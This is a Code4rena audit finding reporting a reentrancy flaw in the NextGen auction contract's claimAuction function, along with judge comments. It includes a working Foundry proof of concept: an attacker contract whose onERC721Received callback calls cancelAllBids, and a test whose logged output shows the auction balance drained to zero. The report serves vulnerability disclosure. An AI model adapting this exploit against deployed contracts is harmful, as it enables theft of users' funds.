Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 222/243
Findings: 1
Award: $0.00
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
if ( auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true ) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success,) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); }
This code snippet doesn't change the state of auctionInfoData[_tokenId][i].status
to false
before transferring assets. Consequently, safeTransferFrom
will invoke the receiver contract through the callback function onERC721Received
. An attacker can potentially exploit this callback to gain reentry into the cancelBid
or cancelAllBids
functions. Although these functions have check:
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
but still executable at last second auction ends.
Second possible attack is do the same but place one more bid using function participateToAuction
and exploit reentrancy after this call:
(bool success,) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
Bad actor can steal users funds from auction contract.
pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import {NextGenMinterContract} from "../hardhat/smart-contracts/MinterContract.sol"; import {NextGenCore} from "../hardhat/smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../hardhat/smart-contracts/RandomizerNXT.sol"; import {DelegationManagementContract} from "../hardhat/smart-contracts/NFTdelegation.sol"; import {NextGenAdmins} from "../hardhat/smart-contracts/NextGenAdmins.sol"; import {randomPool} from "../hardhat/smart-contracts/XRandoms.sol"; import {auctionDemo} from "../hardhat/smart-contracts/AuctionDemo.sol"; contract AttackReentrancy { address auctionSC; constructor(address _aucSC) payable { auctionSC = _aucSC; } function makeBid() external { auctionDemo(auctionSC).participateToAuction{value: 15000}(10000000000); } function claim() external { auctionDemo(auctionSC).claimAuction(10000000000); } // Fake onERC721Received called after NFT sent to the attacker contract(this) function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4 retval) { // Cancel attacker bid and get moneyback auctionDemo(auctionSC).cancelAllBids(10000000000); return this.onERC721Received.selector; } receive() external payable {} } contract AuctionDemoTest is Test { NextGenCore public coreSC; NextGenMinterContract public minterSC; auctionDemo public auctionSC; NextGenRandomizerNXT public randomizerSC; randomPool public randomSC; DelegationManagementContract public delegationSC; NextGenAdmins public adminsSC; AttackReentrancy public attackReentrancySC; address deployer = vm.addr(111); address attacker = vm.addr(555); address buyer1 = vm.addr(444); address buyer2 = vm.addr(4444); address buyer3 = vm.addr(44444); address artist = vm.addr(222); function setUp() public { vm.deal(deployer, 100 ether); vm.deal(attacker, 100 ether); vm.deal(buyer1, 100 ether); vm.deal(buyer2, 100 ether); vm.deal(buyer3, 100 ether); // Deploy contracts vm.startPrank(deployer); delegationSC = new DelegationManagementContract(); adminsSC = new NextGenAdmins(); coreSC = new NextGenCore("Next Gen Core", "NEXTGEN", address(adminsSC)); minterSC = new NextGenMinterContract(address(coreSC), address(delegationSC), address(adminsSC)); randomSC = new randomPool(); randomizerSC = new NextGenRandomizerNXT(address(randomSC), address(adminsSC), address(coreSC)); auctionSC = new auctionDemo(address(minterSC), address(coreSC), address(adminsSC)); // Deploy attacker contract with 15000 initial balance attackReentrancySC = new AttackReentrancy{value: 15000}(address(auctionSC)); // Approval for auction contract coreSC.setApprovalForAll(address(auctionSC), true); coreSC.addMinterContract(address(minterSC)); // Set up collection coreSC.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", new string[](0) ); coreSC.setCollectionData( 1, // _collectionID address(artist), // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000 // _setFinalSupplyTimeAfterMint ); coreSC.addRandomizer(1, address(randomizerSC)); //Set Collection Costs and Phases minterSC.setCollectionCosts( 1, // _collectionID 1000000000000000000, // _collectionMintCost 1 eth 1000000000000000000, // _collectionEndMintCost 1 eth 0, // _rate 1, // _timePeriod // ะผะตัะฐะปะพ ััะฐััะพะฒะฐัั ะฐัะบ(0) 2, // _salesOptions address(auctionSC) // delAddress ); minterSC.setCollectionPhases( 1, // _collectionID 1, // _allowlistStartTime 10000, // _allowlistEndTime 10001, // _publicStartTime 2000001, // _publicEndTime 0xf49459f2280a4e2dfd0974b38c8afaa6795cb942fa9ed2cce33a21d7b3372044 // _merkleRoot ); // Create 2 auctions minterSC.mintAndAuction(address(deployer), '{"yo": "true"}', 0, 1, 100000000); vm.warp(10); minterSC.mintAndAuction(address(deployer), '{"yo": "true"}', 0, 1, 200000000); vm.stopPrank(); // Users bets vm.prank(buyer1); auctionDemo(auctionSC).participateToAuction{value: 1000}(10000000000); vm.prank(buyer2); auctionDemo(auctionSC).participateToAuction{value: 5000}(10000000000); vm.prank(buyer3); auctionDemo(auctionSC).participateToAuction{value: 9000}(10000000000); vm.prank(buyer1); auctionDemo(auctionSC).participateToAuction{value: 2000}(10000000001); vm.prank(buyer2); auctionDemo(auctionSC).participateToAuction{value: 4000}(10000000001); vm.prank(buyer3); auctionDemo(auctionSC).participateToAuction{value: 9000}(10000000001); } function testReentrancy() public { console2.log("balance attacker before: ", address(attackReentrancySC).balance); console2.log("balance auction before: ", address(auctionSC).balance); console2.log("nft attacker balance before: ", coreSC.balanceOf(address(attackReentrancySC))); // Set end auction time vm.warp(100000000); vm.startPrank(attacker); attackReentrancySC.makeBid(); // Make highest bid attackReentrancySC.claim(); // Reentrancy attack here vm.stopPrank(); console2.log("balance attacker after: ", address(attackReentrancySC).balance); console2.log("balance auction after: ", address(auctionSC).balance); console2.log("nft attacker balance after: ", coreSC.balanceOf(address(attackReentrancySC))); } }
Results:
</details>balance attacker before: 15000 balance auction before: 30000 nft attacker balance before: 0 balance attacker after: 15000 balance auction after: 0 nft attacker balance after: 1
Manual review
add auctionInfoData[_tokenid][i].status == false
before safeTransferFrom
Other
#0 - c4-pre-sort
2023-11-16T00:54:28Z
141345 marked the issue as duplicate of #1172
#1 - c4-judge
2023-12-06T21:28:21Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:47:27Z
alex-ppg marked the issue as partial-50